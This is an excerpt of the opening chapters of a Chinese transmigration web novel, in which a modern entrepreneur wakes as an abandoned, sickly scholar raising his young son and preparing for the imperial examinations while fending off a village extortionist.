《弃夫的科举之路》 1. 第一章 《弃夫的科举之路》全本免费阅读 大启崇德十九年,镇国大将军沈傲战死边关,消息刚传回京城不久,留守京城的镇国大将军府家眷,也在一夜之间离奇失踪。 就连前往边关想要查找自己父亲真正死因的镇国大将军独女沈金戈,也在途中失踪。 同年,崇德帝驾崩,太子玄崇登基,改年号永安。 只是永安这个年号,却并未能庇佑大启,玄崇刚登基不久,旱灾,蝗灾,瘟疫就开始肆虐半个大启。 受灾地区死横遍野,侥幸活下来的灾民也流离失所,苦不堪言。 朝廷下发的赈灾粮和银子,到了灾区早已所剩无几,也不知进了谁的口袋。 年仅十七岁的玄崇才刚登基,本就根基不稳,又赶上天灾和镇国大将军的突然离世,还有人对他的皇位虎视眈眈,试图掌控他让他当个傀儡皇帝。 内乱之下,让与大启比邻的几个实力与大启相当的国家有了可趁之机,几国都在蠢蠢欲动,想要趁机吞噬大启。 玄崇力排众议,把三年一次的科举大考,改成了两年一次,甚至废除了商人不得科举的旧制,只为广纳可用之才。 与此同时,他也在派人暗中寻找沈金戈和镇国大将军府所有人的下落。 沈金戈虽是女子,但她自幼跟着镇国大将军习武,并且熟读兵书,从她会走路,就在军营的练武场长大,放眼整个大启的武将,能与她匹敌的,除了她已故的父亲,恐怕再难找到其他人。 最主要沈金戈还是玄崇生母妹妹的女儿,她和玄崇的感情很好,比亲兄妹有过之而无不及,因此只要能找到沈金戈及其家人,对玄崇而言,不仅找回了和自己最亲近的表妹和姨母,更多了一个既有能力又可以信任的人帮他。 六年后,大启天灾虽然不再如前几年那般严重,但边关的战火却愈演愈烈,自从玄崇登基至今,大启已经被四周邻国吞掉十几座城池,边关将士和百姓都苦不堪言,更有人暗中贪污军饷,因此有很多士兵当了逃兵,更有很多边境百姓,逃往京城和大启中南部那些安稳富庶之地。 要是照这个形势下去,大启被邻近几个国家吞没,也只不过是时间问题。 大启急需能重新撑起大启脊梁的良将贤臣,就如六年前战死的镇国大将军沈傲那样的,唯有如此,才能让大启将士重振军心,但像沈傲那样的人犹如凤毛麟角,可遇不可求。 更何况在朝廷选拔人才时,还有人不断从中作梗,因此真正的贤才良将,最终能有机会走到玄崇面前的屈指可数。 就在玄崇打算御驾亲征,由此来鼓舞众将士已经涣散的军心时,他派出去寻找沈家人的人,终于在南方一个叫老榆树村的几角旮旯里找到了沈金戈。 只是沈金戈已经从天之骄女,变成了一个叫阿月的乡野村妇,而且还有了一个快满五岁的儿子。 最要命的是,她的头在失踪期间受过伤,已经不记得以前的事情了。 派去的人把消息飞鸽传书回京城,玄崇只觉得眼前一黑,当即派了太医院医术最好的太医,赶去了位于南方青川府龙泉县辖区内的老榆树村,要不是盯着他的人实在太多,他就要亲自前往老榆树村接沈金戈了。 万幸的是,在太医的治疗下,沈金戈头伤被治愈,记忆恢复。 ―― 刚刚创业成功的谢彦,还没来得及给自己换条没有破洞的新内裤,就被一只从天而降的花盆给砸死了。 谢彦死前最在意的,就是没来得及换条没破洞的新内裤体面离世。 也不知道是谁,在天台养花却不装防护栏,真是缺德到家了! 谢彦撑着最后一口气,骂完高处养花不装护栏的缺德鬼后,就彻底噶了。 等谢彦再次有了意识后,一睁眼就发现,自己正被一个站在一块大石头上的人,抓住双腿头朝下做甩水动作。 被甩的头昏脑涨的谢彦,心说怎么会有人用这么粗暴又不科学的方法救人,刚想出声让这个脑子缺根筋的人赶紧停下来,不然他不被自己肚子里甩出来的水呛死,也得被甩的脑充血,不过他还没来得及开口,抓着他腿的人就停了下来。 谢彦趁着头不摇晃的当口,把头使劲往起勾了勾,想看看这个缺根筋的大神到底是谁,接着他就看到了一个就算倒着看也是难得一见的大美女。 大美女一身粗布麻衣,却面如冷月,眸似寒星,眉宇间透着凌厉之色,虽然一看就不太好惹的样子,但却一点也不妨碍她好看。 谢彦自认不是好色之徒,前世见过的美女也不少,但在看清大美女的长相后,原本被甩的头昏脑胀的脑子,还是为之一振,就连被花盆砸死的憋屈也一扫而光,一时竟忘记让大美女把他放下来了。 “登徒子,再这么看表小姐,把你的眼珠子抠出来!” 这时一个面白无须,眼细唇薄的微胖老头,拿着一件披风匆匆赶过来。 拿着披风的那个老头,见头还被倒吊着的谢彦,竟勾着头,眼睛直勾勾地盯着还提着他双腿的大美女看,立刻尖着嗓子凶巴巴的说。 老头说完赶紧把手里的披风抖开,低头上前,快速给浑身衣服湿透的大美女披上,将她遮了个严实。 此时还提着他双腿的大美女,手上原本绷紧的力道突然一松,谢彦就被丢到了水边的草地上,万幸头没磕到大美女脚下踩着的那块大石头,不然非得再死一回不可。 被丢到地上的谢彦剧烈的咳嗽了好几声,身体有一种前世从未有过的无力感,这种感觉明显不是被水淹所造成的,更像是天生就身体弱所致。 他被摔的有些懵,不明所以的看着在他身旁缓缓蹲下的大美女:“先前你明明已经同意和离,现在为何又闹?你心里清楚,即便你寻死觅活,我也不可能会留下,你带着铁蛋好好过,我会给你一笔银子,算是还你当年救我的恩情。” 大美女说完,看向刚才骂谢彦登徒子的那老头,老头会意,转身小碎步跑回停在离水边不算太远一处土坯房前面的一辆马车上,从上面拿出一个紫色锦缎的包裹,提过来毕恭毕敬的交给大美女。 在马车旁边,还站着几个牵着马的男人,看他们的着装应该是侍卫,他们只是远远站着,并没有跟上来,还都背对着这边。 大美女把那个包裹放到谢彦身旁,谢彦还没来得及问大美女到底什么情 2. 第二章 《弃夫的科举之路》全本免费阅读 谢彦揉着不知是被大美女那句朝三暮四给气疼、还是被铁蛋震天响哭声吵疼的额头,心里有种不好的预感。 很快一股不属于他的记忆,就证实了他那种不好的预感,他穿越了,还穿到了一个和他同名的穷秀才身上。 刚才那个大美女叫阿月,是原主几年前从山里捡回来的,只不过当时阿月受了很重的伤,以前的事都不记得了,自然也找不到家了,就连阿月这个名字,也是原主给取的。 最终两个孤苦无依又相貌出众的年轻男女,自然而然的组建了一个小家,还生了一个儿子,为了好养活,小名就叫铁蛋,大名谢拂云。 这几年他们夫妻虽然日子过得清贫平淡,但平淡中却也透着幸福,直到原主年少时爱慕过的青梅死了丈夫,还变卖了县里亡夫的铺子,回了老榆树村定居后,原主内心开始有了些变化。 原因是原主的青梅回来后,曾找过原主,告诉他只要休了阿月娶她,她就拿银子供原主读书科举,一直供到他考中为止。 原主虽然没有答应,但他也有着很多男人的通病,他在妻子身上感受不到的崇拜和热情,从一个他年少时爱慕过的女子那里获得了,这让他隐藏在内心深处的那点属于男人的虚荣心,得到了极大的满足。 自打原主青梅回来后,他就总会心不在焉,连自己妻子近段时间经常早出晚归也没太注意,还以为她和往常一样,进山打猎去了。 只到今早,突然一队人马出现在他家门口,阿月才告诉原主,她的头伤已经被治好了,也记起了以前的事,那几人是来接她回家的家人。 原主似乎早就料到会有这么一天,毕竟他当年遇到受伤的阿月时,就发现她的穿着和周身的气度,明显不像是普通人,再加上她进山打猎展现出来的身手,这样的一个人,哪里是他这种穷书生能留得住的。 当初原主担心阿月身上的伤来路不明,说不定是仇家所伤,因此不敢贸然带她去官府报案寻亲。 就连他们俩成亲,也没有去官府登记,他们龙泉县地处青川府最南边,地里位置偏僻,所以这种小地方的普通老百姓即便成亲不去官府登记,也没有人会管。 当然,原主会这么做也有自己的私心,那就是怕阿月找到亲人就会离开他,而阿月对于不报官寻亲也并没有反对。 两人成亲这几年,阿月为这个家付出了很多,都是靠她进山打猎卖钱养家和供原主读书的。 要不是因为有阿月和原主恩师相帮,以原主那一步三喘的身体,和在他父母生病时早已卖光的田地,他不饿死就很了不起了,哪里还能读得起书,更不可能考上秀才。 而且如今原主年少时爱慕过的女子又回头找他了,所以当阿月说要回去的时候,原主什么阻拦的话也没说就答应了。 原主因为不想看到阿月离开的场景,也不想让铁蛋看见他娘离开,怕他会哭闹,因此就把铁蛋送去了隔壁邻居家,让邻居帮忙照看一会,而他自己则打算去离家不远的湖边待一会,想等阿月离开再回去。 只是他刚到湖边,就看见他的青梅正在水里扑腾,原主想都没想,立刻跳下水救人。 只是原主忘了自己根本不会水,不但人没救成,还把自己给淹死了。 后来阿月是怎么发现原主掉水里,又跑去把他救上来的,谢彦就不知道了。 谢彦理清这一切,撞墙的心都有了,而事实他也真撞了,下定决心要撞回去。 不过很可惜,他最终撞上的却是一堵肉墙,于此同时,他的腿也被人死死抱住。 “爹啊,我娘不要我了,你不能再不要我啊,呜呜.” 谢彦低头看去,就见铁蛋正抱着他的腿哭的一把鼻涕一把泪。 铁蛋不提他娘还好,一提谢彦更想回去了,他实在不想给精神出轨后被人无情抛弃的原主背 锅,还得苦逼带娃。 还有前世他不知熬了多少个日夜,和不知啃了多少面包和方便面才幸苦创立的公司,他还没来得及享受回馈就噶了,他怎么能甘心,至少也让他穿回去换条没破洞的新内裤再噶吧! “谢老弟,想开点,你要是真有个三长两短,你要这么小的孩子怎么活?” 谢彦闻言又抬头看向刚才自己撞上的那堵肉墙,一抬头就看见一个胡子拉碴,方脸圆眼,皮肤黝黑的壮汉。 原主虽然瘦却并不矮,用古人的说法至少八尺,也就是至少有一米八往上,和他前世差不多高,但却依旧要抬头看面前的壮汉,目测他至少九尺,壮汉打着好几个补丁的麻布短打下,都是鼓鼓囊囊的腱子肉,这应该是所有男人都梦寐以求的身材。 这个壮汉原主的记忆里有,是原主隔壁邻居,名叫柳如烟。 想到壮汉的名字,谢彦觉得,这恐怕是柳如烟这个名字被黑的最惨的一次。 不过以他现在的处境,也没什么心情去吐槽人家的名字,而且也没谁规定,叫这个名字的就一定得是美女。 柳如烟和阿月一样,也以打猎为生,因为不识字,平时有什么要计数算账的事,便会来请原主帮忙,作为感谢,他经常会给铁蛋买糖和糕点吃,因此和原主一家处的不错。 今早原主就是拜托他照顾铁蛋一会的,只是谢彦有些想不通,原主那个青梅被救上来后,不赶紧回家,还跑到柳如烟家,不但告诉铁蛋他娘要跑,还造谣说原主是自己投湖自尽的事做什么,她不是想嫁给原主吗,那么要是铁蛋真把他娘给拦下,对她有什么好处? 谢彦想来想去也只有一个原因,那就是原主那个青梅可能和他一个心思,都不想替别人带娃,所以才跑去告诉铁蛋他娘要跑,目的是希望阿月能把铁蛋一起带走。 至于把原主说成是投河自尽,应该是怕原主万一救不过来她会担责任,毕竟原主是为了要救她才跳下水的。 虽然阿月刚见面就让他成了弃夫,但她至少连甩人都甩的那么坦坦荡荡,理直气壮,而且严格来说是原主精神出轨在先,比起原主那个暗中破坏别人婚姻的青梅好多了。 不过阿月这种好,可能也只是因为她本性使然,却一点也不妨碍她果断甩了原主,还丢下一只吞金兽给他这个穿来顶缸的大冤种养。 柳如烟见谢彦惨白着一张没什么生气的脸,也不知在想什么,只能继续劝: “好死不如赖活,虽然你被阿月抛弃了,但说到底也不算冤,谁让你从那个李兰湘一回村,就跟丢了魂似的,阿月虽然平时话少,但又不傻,你还真当她看不出来,如今阿月家人找来了她不走,难道还留在这里继续看你们这对” 谢彦见柳如烟突然打住,不用猜也知道柳如烟没说出来的那几个字是什么,但可能又怕他受刺激再寻死觅活,就嘴下留情了。 不过谢彦冷静下来想想,觉得柳如烟说的也不无道理,好死不如赖活,他想要撞回去的想法,实在有些不现实,眼下也只能先走一步看一步。 人群中有个姓郑的大婶,见谢彦许久不吭声,还以为他还没打消寻短见的念头,便也出言安慰道: “谢秀才啊,柳兄弟说的没错,你学问好,又生的这么俊,说不定很快你就能金榜题名了,到时你好好去跟阿月赔个不是,说不定她就原谅你跟你回来了。” 从郑婶子的话里谢彦可以听出,她显然也知道原主和李兰湘之间 3. 第三章 《弃夫的科举之路》全本免费阅读 柳如烟见谢彦情绪稳定了下来,默默松了口气,随即又道: “我去买些猪头肉和胡豆,再打些酒回来,咱们哥俩中午喝两杯如何?” 谢彦听了柳如烟的话,肚子很合事宜的响了起来,他确实饿了,所以也没推拒:“那就多谢柳大哥了。” 柳如烟见他同意,立刻就回家拿了酒壶去了县里,老榆树村算是挨着县城的郊区,因此离龙泉县城不算远,走路来回也就大半个时辰。 等柳如烟走后,谢彦回家打了盆清水,用原主他们平时洗脸的麻布巾,打算把铁蛋脸上的眼泪鼻涕都洗干净。 虽然一想到以后要带着个孩子生活,从来没带过孩子的谢彦就头疼,但不知是不是因为原主这具身体和铁蛋血脉相连的关系,而且铁蛋长的还和他小时候十分相像,所以当眼泪汪汪的铁蛋亦步亦趋跟着自己时,谢彦心里竟莫名有些心疼。 不过铁蛋却没劳烦他动手,反倒接过麻布在水里甩了甩,随后故作坚强道:“爹,你蹲下。” 谢彦不知他要做什么,但还是蹲下了,随即就见铁蛋把那块还在滴水的麻布直接敷他脸上,然后胡乱擦着。 谢彦:…… 铁蛋一边给谢彦擦脸一边继续说:“爹,虽然我娘因为生你的气不要你了,但你也别难过,我已经长大了,以后我来照顾你,你就好好读书,就像郑奶奶说的,等你考中了,说不定我娘到时气也消了,就回来了。” 谢彦听说过古人早熟,但没想到竟早熟到这种程度,一个还未满五岁的孩子,竟能说出这样贴心的话来,这让他对独自带娃这件事,没刚开始那么抗拒了,甚至还有那么一点点的感动。 只是铁蛋那句我娘不要你了,显然还没意识到,其实她娘也不要他了,秉承着要难受大家一起难受的原则,谢彦道:“她不止不要我,也不要你了。” “呜呜....” 铁蛋本来还想自欺欺人,选择性认为他娘只是不想要他爹了,他只是被顺带不要的,现在被谢彦戳到伤心处,又没忍住哭了起来。 谢彦看着他眼泪鼻涕又往外冒,心理总算平衡了一些,然后把那块麻布直接从自己脸上拿下来,又敷到铁蛋脸上,把他的鼻涕眼泪洗干净,才故作严肃道: “男儿有泪不轻弹,以后别动不动就哭,知不知道。” 铁蛋点了点头,只是点头间又甩出几滴眼泪。 谢彦无奈叹了口气,心说多招人疼的孩子,那个阿月心也是够硬的,就算带上铁蛋,难道还能吃穷她不成。 替铁蛋洗完脸后,谢彦总觉得还有什么重要的事没做,想了好一会才想起来,赶紧朝湖边跑了过去。 还好,刚才阿月给的那个包裹,还好好的躺在湖边的草地上。 谢彦松了口气,提着有些沉的包裹回了家,回到家后,他把那个包裹找了个地方藏好。 把包裹藏好后,谢彦就去了灶间,用一种造型和现在很不一样,尚未经过改良的非常厚的铁锅,蒸了半锅米饭。 因为谢彦是白手起家,并且公司刚开始赚大钱他人就噶了,所以常规霸总身上的一些臭毛病,在他身上还没来得及形成,他不仅会做饭,而且做得还不错。 虽然这土灶用的不是很熟练,但他有原主的记忆,家里的饭本来也都是原主在做,阿月不会做,所以上手到也很快。 原主没有古代读书人君子远庖厨的观念,所以并没有逼迫阿月学做饭,这勉强也算是他的优点之一. 本来谢彦还想炒个青菜什么的,但因为原主家里没有田地,他和阿月又都不会种地,所以就连家前屋后的空地也没有像别人家那样开垦出来种菜。 家里日常吃的青菜,不是阿月每次从山上带打猎时顺道带回来的野菜,就是跟村里人买的,现在家里除了葱姜蒜和一些调料,并没有剩余的青菜。 目前谢彦也没什么心情去跟村里人买菜,因此饭做好后,就撑着头坐在灶前,等着柳如烟买猪头肉回来。 铁蛋见状,也搬了个小板凳坐在他身边,父子俩就这样相顾无言,辛亏现在没人看见,不然一定会觉得他们非常可怜。 不过这一幕最终还是被回来的柳如烟看见了,一个九尺大汉看了都有些心酸:“谢老弟,酒打回来了,今个我们喝个痛快。” 本来都快等睡着的谢彦,闻言也来了精神,他还真想尝尝这古代的酒和熟食是什么滋味。 因为原主不沾酒,也不爱吃肥腻的猪头肉,所以谢彦没有他关于这方面的记忆,即使有,食物还是要自己尝,才能切身体会个中滋味。 谢彦从碗柜里拿了碗筷去了堂屋,柳如烟已经把油纸包里的猪头肉和胡豆打开放到桌子上了。 他从谢彦手里接过碗,拎起酒坛子到了两碗,两大一小三个男人,便开始借酒浇愁,当然,铁蛋这个小男人是不能喝酒的,他只负责吃肉吃饭。 谢彦一碗酒下肚,终于明白古人说的浊酒是什么意思了,因为古代的酿酒设备落后,酿酒技术也不成熟,所以酒跟谢彦在现代喝过的酒自然是没法比的,那酒浑而浊,酒味也极淡。 谢彦本就不怎么爱喝酒,前世因为各种应酬才不得不喝,现在只是出于好奇才想尝一尝,所以只喝了一碗就放下了。 他见铁蛋吃那猪头肉吃的香,便也夹了一块放进嘴里,只是一入口,口腔里就感受到了猪皮上没处理干净的短毛茬子的触感,差点没忍住吐出来。 柳如烟见他脸色不对,还以为他还没缓过来,便又给他倒了一碗酒。 谢彦盛情难却,艰难咽下堵在嗓子眼的那块猪毛口感十分清晰的猪头肉,又喝了一碗浊酒压下那股肉腥味,然后转攻胡豆,也就是蚕豆。 蚕豆只是简单用盐水煮熟的,所以味道说不上多好,就是正常的水煮蚕豆味道。 本来还打算借酒消愁的谢彦,一顿饭吃的没滋没味的。 柳如烟和铁蛋倒是因为吃了足有二斤的猪头肉,满面油光。 “难怪你这么瘦,原来是不爱吃肉所致,男人还是得吃肉才行啊!”柳如烟临走前拍了拍谢彦的肩,有些担心的说。 谢彦一时不知该说什么是好,心说他哪里是不爱吃肉,只是那满是猪毛还有那么重猪腥味的猪头肉,他实在是吃不下去。 不过他也能理解,这个年代不可能有处理猪毛的火枪,说不定连用松香脱毛的方法都不知道,调料也没那么全,猪头自然不能像后世处理的那么干净,看来在这古代想吃口好吃的,还得自己动手才行。 不过暂时他显然没什么心情琢磨吃的,不仅一穿过来就被人抛弃,而且还多了个娃,反正铁蛋已经吃包了,不必他再操心,所以送走柳如烟后,他就带着铁蛋上床休息一下,他现在这副身体经过这一番折腾,疲惫感越发严重。 铁蛋现在根本睡不着,但还是顺着谢彦,乖乖在床上躺着。 一直睡到院门被人敲响,谢彦才从床上爬起来,原本假睡的铁蛋这个时候到是真睡着了。 谢彦起来后,发现天已经快黑了,他去开了门,发现来的还是柳如烟,柳如烟手里提着两只已经剥了皮的兔子,那兔子看起来还挺肥。 4. 第四章 《弃夫的科举之路》全本免费阅读 三人风卷残云后,柳如烟心满意足的回去睡觉了。 谢彦和铁蛋却睡不着,因为他们下午睡了半天,而且刚吃过饭睡觉也不太好。 谢彦便趁着月色,带着铁蛋出去消消食,顺便看看现在也算是他的故乡的老榆树村。 虽说前几年半个大启都闹旱灾蝗灾和瘟疫,边关更是战火不断,但属于大启中部偏南的青川府和邻近的府城,却相安无事,风调雨顺。 老榆树村虽说位置有些偏僻,但却山清水秀,鱼米之乡,村子北边靠山,西边还有一个非常的大的湖泊,就是今早原主落水的地方。 老榆树村家家户户基本都是竹篱笆院子,院子里不是种花就是种菜,虽然房屋基本都是土坯建的,但却结实规整,完全不会给人寒酸的感觉,倒是给人一种返璞归真之感。 村里只有一户姓李的乡绅家是白墙青瓦的大房子,村长家则是木石结构的房子。 原主家的房屋和村里大部分人家的格局一样,都是土坯房配篱笆院。 转完一圈,谢彦觉得,相较那些一穿越不是在逃荒的路上,就是连个遮风避雨的地方都没有的穿越者,他的处境还不算最糟,毕竟原主好歹还有几间土坯房,另外还有阿月留下的银子。 谢彦牵着铁蛋走走停停,等铁蛋终于累了,爷俩才回去睡觉。 等铁蛋睡着,谢彦把白天阿月给的那个包裹拿出来,想看看里面到底有多少银子,他好做计划,毕竟科举一轮下来,不仅耗时长,而且期间路费和住宿吃饭费用都是一笔不小的开支,另外他还要养娃,如果银子不够,他还得再另想办法赚点。 包裹沉甸甸的,谢彦估摸着里面一定有不少银子。 只是等他乐颠颠的把包裹打开后,才知道自己还是天真了,因为那个包裹里装的竟是一堆圆润的鹅卵石,连个铜板都没有。 谢彦有些肉疼,心说是不是包裹放在河边那么长时间,里面的银子被人偷偷换成石头了? 只是他仔细想了想,好像之前在他们家门口瞧热闹的那些人,那段时间也没人往湖边去,而且他落水的那个地方位置有些偏,又不是日常村里人会去洗菜的码头,因此即便有人去湖边挑水洗菜,只要不是特意去那边就不会看见那个包裹。 一包银子变成了一包石头,谢彦只能忍痛又去清点一下家里原有的银钱和余粮。 原本家里还有之前攒下的三十两银子,那是阿月为原主科举攒的,不过一直由阿月本人保管,只不过现在这笔银子也不翼而飞了。 现在就只剩原主本打算用来买纸买墨和买粮买菜的三两碎银子,外加六百文铜钱,以及快见底的米缸。 本来谢彦还怀疑,之前包裹放在水边那么长时间,是不是被人把银子调包成了石头,或是那个骂他登徒子的老头,因为看他不顺眼,所以当时从马车上拿下来的,本来就是一包石头,而阿月本人不知情。 但现在连家里的银子也不见了,而家里藏银子的地方,只有原主和阿月两个人知道,这基本说明阿月就没打算给原主留银子。 谢彦苦笑,心说好不容易吃一回软饭,最后竟然还没吃成,想想原主吃了阿月好几年的软饭,一点事没有,偏偏他一穿过来,阿月坏掉的脑子就好了,看来他天生就没有吃软饭的命。 好在经过在商场上好几年的摸爬滚打,现在赚钱也算是他擅长的,科举要用到的开销和养娃的钱,自然是他来想办法赚。 另外还有原主这走一步喘三步的身体,也要想办法调理和锻炼,不然他怕到时会直接晕在考场里。 第二天一早,谢彦早早就起来,先沿着湖边慢跑,只是没跑一会,就气喘吁吁了,心说原主这身体,还真是弱的可以,也难怪会被阿月嫌弃。 要不是原主长了一张和自己前世一样帅气的脸,恐怕就是阿月脑子坏掉了,也不会看上他。 想到这里,谢彦竟停下脚步,有些自恋的冲水面照了照,水中之人眉眼如画,黑发如墨,左边眼角下面位置还有一颗很小的泪痣,加上一身的书卷气,都可以用陌上人如玉来形容了,谢彦臭不要脸的自言自语: “嗯,真是太美了,啊呸,真是太帅了!” 一早来湖边挑水的郑婶子,刚巧听到了太帅了三个字,心里咯噔一下,心说这谢秀才,莫不是受的刺激太大疯了吧,不然怎么会对着水面顾影自怜,还有太帅了是啥意思? 她刚想上前去宽慰两句,谢彦已经抬脚跑了。 郑婶子挑水回去浇菜时,路过柳如烟家的门口,犹豫了一下还是把水桶放了下来,然后把谢彦的症状跟柳如烟说了,还让他最近多留意一下,毕竟柳如烟家离谢彦家最近,平时处的又不错。 柳如烟爽快同意,随后拿着两只桶去了湖边。 郑婶子见状,才稍稍放心了一些,担着水回去了。 只是柳如烟还没走到湖边,谢彦已经气喘吁吁地的往回跑了。 “谢老弟,你这是作甚?” 谢彦也没隐瞒,如实道:“我这身体太差了,要是不好好调理调理,等科考的时候,非得晕在考场里不可。” 柳如烟听他这么说,松了口气,他颇为赞同谢彦的话,虽然他没有科考过,但也听人说过,每次乡试和会试的时候,都会有不少身体弱的考生被从考场里抬出来,由此可见,一副好身体,对一个考生的重要性。 “那你 5. 第五章 《弃夫的科举之路》全本免费阅读 一嘴坏牙的年轻男人正说的起劲,余光就瞥见了谢彦,他不但一点没有背后说人坏话被正主撞上的尴尬,反倒是一脸的幸灾乐祸和算计,直接凑到了谢彦跟前。 “吆,这不是我那刚被恶婆娘抛弃的大舅哥吗,我还没来得及去找你呢,你到自己撞上来了。你可能还不知道吧,你前脚被人抛弃了,后脚勾搭你的我那个表嫂李兰湘也跑了。这下不止你竹篮打水一场空,一个都没捞着,还害得我表哥家的钱财都被李兰湘那只不会下蛋的鸡拐跑了,你说这笔帐要怎么算?” 这个形象比叫花子也好不了多少的人谢彦认识,是原主二舅家的小女婿范二,一个好吃懒做的泼皮无赖加赌鬼。 范二把家里输的家徒四壁,夫妻俩隔三差五就要带着两孩子回原主二舅家打秋风,原主二舅老两口本来也是占人便宜的高手,原主父母活着的时候,没少被他们家占便宜。 但最终恶人自有恶人磨,老俩口硬是拿这个好吃懒做的范二没办法,毕竟他们要是不接济,他们小闺女就得被打死饿死,甚至还有可能被拿去抵赌债。 所以老两口就只能任由范二去他们家打秋风,然后他们再想办法从别的亲戚那里打回来。 只是谢彦不知道,范二竟还跟李兰湘的丈夫是表兄弟,听范二这话里的意思,看来是想要吃绝户,毕竟李兰湘的婆家人据说已经死绝了,而且她也没有孩子,范二这种赌鬼怎么可能会放过这么好的来钱路子。 不过范二说李兰湘跑了,这还真出乎谢彦的意料,本来他还以为李兰湘在阿月走后,还会再来纠缠,怎么突然就跑了,难道是怕她造谣原主投湖自尽的事,被知道后再去找她算账? 要是这个理由着实有些牵强,毕竟古代不是现代,不是有钱了就能想去哪里就去哪里的。 而且现在外面又不太平,像李兰湘这样孤身一人的女子,除非迫不得已,不然绝对不会离开龙泉县这种她所熟悉又没受战乱和天灾影响的地方。 李兰湘跑了这件事,多少透着些蹊跷,但只要她以后别再出来蹦哒作妖,谢彦也没打算去找她替原主报仇什么的,毕竟原主跳湖救李兰湘,确实是他自愿的。 只是范二却因为没能吃到李兰湘的绝户,把怒火都烧到他身上来了,对于范二这种泼皮无赖,谢彦根本懒得理会,因为你越理会他只会越起劲。 要是谢彦还像前世那样身强体健,无论范二是嘴贱还是手贱,他都有办法治范二,但以谢彦目前的身体状况,他要是和范二起了冲突,吃亏的只会是他,更何况他还带着孩子,于是谢彦拉起铁蛋就走。 只是谢彦不想和范二这种无赖论长短,但范二显然没打算就这么放过他,他见谢彦要走,立刻跨前一步挡在了他前面: “要走可以,把银子留下,毕竟李兰湘和你好过,她偷走了我表哥家的财产,谁知是不是拿给你花了。” “你说话之前最好先过过脑子,你哪只眼睛看见我和李兰湘好过,又是在哪里看见她给我银钱花的,今天你要是不能拿出证据,我就去官府告你造谣和敲诈!” 谢彦本不想惹范二这样的无赖,但范二却死盯着他不放,谢彦索性停了下来,他边说还边朝不远处扫了一眼。 范二一脸鄙夷的道:“看把你能的,你那个恶婆娘已经跑了,你以为还会像以前一样,有人来护着你啊,你问我哪只眼看到你和李兰湘好的,那我告诉你,是李兰湘亲口跟我说的!” “既然如此,那你就把李兰湘找来,让她当着众人的面再说一次!” 范二没好气地道:“她都跑了,我要去哪里找人!” 谢彦冷笑:“既然你连人证都没有,就凭你上下嘴皮子一碰,就想污蔑我,要是这样,谁都可以造谣,那我也可以说,李兰湘已经被你杀了,你不仅吞了她的银子,还想再来敲诈我一笔。” 范二只是个泼皮无赖,扯到杀人这种事情上还是有些怵的,而且他名声本来就不好,想吃李兰湘的绝户可是有不少人都知道的,搞不好还真会有人信了谢彦的话,因此有些急的道: “我告诉你,没有证据你可别胡说八道!” “看吧,连你这种无赖也知道说话要有理有据,那你是怎么还敢在这信口雌黄的!” 在场的人本来都是抱着看热闹的心态,甚至刚才也因为范二引起的话头,都在背后议论谢彦和李兰湘的奸情。县城这边的人,自然没有老榆树村的人那么委婉,毕竟他们跟谢彦只是认识,又不熟。 但现在众人见谢彦把事情说的如此严重,一时之间竟有些担心起来,怕谢彦会迁怒他们连他们一起告。 谢彦这个人大家虽然不怕,但他好歹也是读书人,还是秀才,就算见到县太爷也是不用跪的。 最主要谢彦还和县太爷都是龙泉书院山长杜文清的学生,虽然前后相隔了不少年,但严格来算也算是同门,哪里是他们这些普通老百姓得罪得起的。 而且谢彦说的也没错,毕竟他们谁也没有亲眼看见谢彦和李兰湘有一腿的事,而且以谢彦那身体,即便真有那个心,恐怕也很难有那个力,要不是他确实生了一个儿子,还和他长的很像,不然就是有人说谢彦不举他们都信。 “谢秀才说的没错,范二你要是没有证据,就别在这里继续胡说八道,就谢秀才的人品和这身体,你看他是像能干得出那混帐事的人吗,这其中肯定有什么误会,同为男人,他行不行的,难道我们还能看不出来吗。” 卖肉的张屠夫,第一个站出来为谢彦发声,只是他心直口快神经还有些粗,一不小心就把心里话都给说出来了。 谢彦也没想到,古人的理解能力竟然偏的如此离谱。 虽说没有哪个男人愿意被人说不 6. 第六章 《弃夫的科举之路》全本免费阅读 范二被官差抓走后,谢彦牵着铁蛋穿过还没散的人群走到张屠夫的肉铺前,花了三十文买了二斤肥瘦相间的五花肉。 张屠夫不知是不是出于同情,还额外送了谢彦一个猪腰子。 谢彦甚至还从张屠夫的眼神里看出,他似乎在说,同为男人,我明白你的隐痛。 谢彦有些无奈的收下张屠夫这份来自男人对男人的同情,准备回家来个爆炒腰花。 “爹,男人不行是什么意思?” 刚才一直被谢彦制止不让说话的铁蛋,实在憋不住问了出来,语气里还透着担心,毕竟刚才张屠夫说他爹不行的时候,大家的脸色刷的都变了。 谢彦到也没对一个孩子回避这个问题: “不是什么好话,是羞辱人的话,你记得以后可不要对别人这么说。” 铁蛋点了点头,表示知道了,同时也明白了,他爹刚才是被人羞辱了,他攥了攥小拳头,希望自己能快些长大,这样他就能变得像他娘那样厉害,那么就可以保护他爹不被人欺负了。 谢彦看着铁蛋严肃的小脸,似乎看出了他心中所想,摸了摸他头顶的小发揪,随后带着他去买了他最爱吃的桂花糕。 接下来又去买了豆腐和小油菜,还有二十个鸡蛋和一些杂七杂八的东西。 另外还给柳如烟打了一斤酒,毕竟柳如烟已经请他吃了两顿肉了,来而不往非礼也。 至于米粮,在老榆树村买就行。 天大地大,吃饭最大,不能因为碰着一个无赖就不吃了。 不过花钱一时爽,花完如割肉,等买完所有东西,再加上先前打点官差的那一角银子,谢彦身上的那点银钱,已经只剩下二两外加一百个铜钱,赚钱迫在眉睫。 回去路过柳如烟家门口时,谢彦本想喊他一起吃中饭,不巧的是柳如烟不在家,应该是进山去了。 谢彦中午便打算先炒个小油菜,再蒸碗鸡蛋羹,至于肉和酒就留着晚上再请柳如烟。 只是很快谢彦就发现,自家门口正站着一位头发花白,面容俊朗,约莫四五十岁的男人,他身上的青衫早已洗成了灰白色,袖口和领口也都起毛边了,但却一点也没有影响他那一身儒雅气度,只是表情看起来有些严厉。 “老师,您怎么来了?” 来人是原主的恩师杜文清,这个时辰,他应该在书院,不知怎么会跑到老榆树村来,而且看杜文清的样子,应该来了好一会了。 杜文清用和他表情完全不同的语气温声道:“我来给你收尸,不过现在看来不用了。” 谢彦嘴角忍不住抽了抽,心说难道这就是用最软的语气说最狠的话的人吗。 不过想想有关原主和李兰湘的那些传言,也不怪他这位一向好脾气的恩师会生气。 “都是学生一时糊涂,不懂与人保持距离,也未顾及阿月感受,才会让阿月心寒与我和离,以后我绝不会让此类事情再次发生,也不会让这件事影响到乡试。” 对于原主这位恩师,谢彦没打算替原主开脱。 杜文清听他如此说,面色缓和了不少,虽然他不太相信那些传言,但听谢彦这么说,就知道他是真犯了糊涂。 